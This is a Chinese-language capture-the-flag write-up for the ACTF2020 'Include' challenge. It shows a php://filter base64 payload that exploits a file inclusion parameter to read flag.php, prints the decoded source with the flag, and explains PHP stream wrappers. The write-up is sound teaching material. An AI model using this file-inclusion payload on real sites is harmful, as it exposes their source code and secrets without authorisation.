[ACTF2020 新生赛]Include

image-20210616123631579

点击一下tips

image-20210616123657201

根据题目信息,再看一眼url可以推测出是文件包含

考察利用php://filter伪协议进行文件包含

构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20210616134044162

得到后base64转码

<?php
echo "Can you find out the flag?";
//flag{bd6cd599-ab40-4ecc-bdaf-8124bed80973}

资料

要注意,先把php.ini的allow_url_fopen 和allow_url_include设置为On,不然会影响伪协议的使用

php://

php:// — 访问各个输入/输出流(I/O streams)

php://input

访问请求的原始数据的只读流

php://input可以获取到POST的数据,这一点在CTF中常常用到。

php://output

只写的数据流

php://output允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://filter

重点来了,php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
我们先看看它的语法:
resource=<要过滤的数据流>   //这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>       //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>      //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>        //任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

我们平时是这样利用它来读取任意文件的:
php://filter/read=convert.base64-encode/resource=flag.php

在这个payload里,convert.base64-encode就是一个过滤器,而flag.php就是要过滤的数据流,也就是要读取的文件。
转换过滤器 convert.*
convert.* 是PHP 5.0.0 添加的,作用顾名思义就是转换==

base64
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。
字符串过滤器 string.*
这个过滤器的作用是对字符串进行各种转换。
有加密的,转换大小写的等等。
最后修改:2021 年 06 月 16 日 01 : 48 PM
如果觉得我的文章对你有用,请随意赞赏